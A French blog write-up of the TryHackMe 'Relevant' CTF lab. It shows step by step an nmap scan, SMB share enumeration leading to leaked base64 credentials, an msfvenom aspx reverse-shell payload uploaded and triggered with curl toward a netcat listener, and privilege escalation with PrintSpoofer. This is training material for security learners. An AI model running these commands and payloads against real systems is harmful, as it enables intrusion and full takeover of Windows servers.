What’s up guys ? j’espère que tout roule pour vous !
Introduction
Me revoilà pour le writeup d’un CTF sur Tryhackme : Relevant. La plateforme a désigné le niveau comme medium mais rassurez-vous il est assez abordable. L’objectif est d’exploiter les failles afin d’obtenir deux flags : user.txt et root.txt.
Si votre configuration est prête, je vais commencer accrochez-vous !
Collecte d’informations
Je commence par effectuer un scan de ma cible en utilisant nmap :
nmap -A -sC -sV -p- –script=vuln 10.10.222.61
En observant le résultat je remarque qu’il y a une vulnérabilité très connue, le ms17-010 sur le server SMB.
Donc, je vais essayer de me connecter sur le server SMB en utilisant la commande :
smbclient -L //10.10.222.61
C’est bien parti, une autre information obtenue. En fait sur le server j’ai découvert un nom de partage intéressant, différent de l’ordinaire : nt4wrksv
Sans trop attendre je vais vérifier le contenu en me connectant dessus :
smbclient //10.10.222.61/nt4wrksv
Bingo ! j’ ai trouvé un fichier de mot de passe, je le télécharge et je vais voir son contenu !
get password.txt
cat password.txt
Voilà, en scrutant le fichier j’ai vu deux mots de passe avec leurs identifiants respectifs. En effectuant une recherche rapide je vois qu’ils sont encodés au format base64.
Afin de pouvoir décoder je tape :
echo Qm9iIC0gIVBAJCRXMHJEITEyMw== | base64 –decode
Résultat : Bob – !P@$$W0rD!123
echo QmlsbCAtIEp1dzRubmFNNG40MjA2OTY5NjkhJCQkr | base64 –decode
Résultat :
Bill – Juw4nnaM4n420696969!$$$
Maintenant que j’ai les identifiants et les mots de passe, je vais créer un fichier malveillant qui va me donner un shell reversible donnant l’accès à la machine cible.
J’ai d’abord essayé un fichier .exe comme script mais ça n’a pas fonctionné, en cherchant sur le net j’ai découvert les fichiers .aspx (c’est le même principe que les fichiers PHP, finalement c’est dans le cadre des serveurs Web, mais sous un format plus ancien).
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.8.218.133 LPORT=443 -f aspx -o test.aspx
Mon script est bien généré à l’aide de msfvenom, il me reste plus qu’à uploader mon fichier sur le server. Je reviens sur mon terminal dont le server est actif puis je tape :
put test.aspx
À ce stade tout est ok ! je vais pouvoir passer à la phase d’exploitation.
Phase d’exploitation
Dans cette phase, je vais lancer mon exploit pour avoir un accès sur la machine cible. Tout d’abord je lance une écoute de port avec Netcat :
nc -lvnp
Puis avec curl j’accède à mon script pour obtenir mon shell !
curl http://10.10.170.82/nt4wrksv/test.aspx
Suite à un petit souci de connexion en interne, j’ai dû redémarrer ma machine locale ; ce qui a engendré le changement d’adresse IP attribuée par Tryhackme. Donc pas de panique !
Et voilà le travail j’ai enfin mon accès sur le server !
Je vais tout de suite aller valider mon flag user.txt, pour cela je me déplace vers le bureau de Bob :
whoami
cd \Users\Bob\Desktop
type user.txt
Attention, sur Linux et Windows l’agencement des répertoires est différencié par des / et \.
Premier flag obtenu ! il ne me reste que le dernier, mais pas d’inquiétude en escaladant les privilèges je l’obtiendrai 😉
Pour commencer j’ai tapé la commande : whoami /priv, puis j’ai obtenu le résultat suivant :
Privilege Name Description State
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token Disabled
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled
SeAuditPrivilege Generate security audits Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
Celui qui m’intéresse est : SeImpersonatePrivilege
Pour trouver l’exploit à utiliser, j’ai effectué une recherche rapide sur Google et trouvé PrintSpoofer.exe
Après avoir téléchargé le fichier, je l’uploade sur le server comme pour mon script. Et j’accède au répertoire adéquat de partage : inetpub\wwwroot\nt4wrksv.
J’avoue que j’ai pas mal cherché sur le server avant de tomber là-dessus !
Vu que c’est bon, je tape la commande pour être l’équivalent de root sur un server Windows (Administrateur) : PrintSpoofer.exe -i -c cmd
Génial ! je vérifie avec la commande whoami puis j’accède au bureau du compte administrator pour mon dernier flag :
cd \administrator\desktop
type root.txt
Conclusion
C’est terminé pour ce CTF les amis, j’espère que ça vous a plu ! Dans l’ensemble il peut paraitre un petit peu compliqué mais si on maîtrise les bases il est relativement accessible.
Si vous rencontrez des difficultés n’hésitez pas à me contacter, pensez bien à relire et me faire part de vos questionnements.
Je reste à votre écoute, je vous dis à très vite PEACE !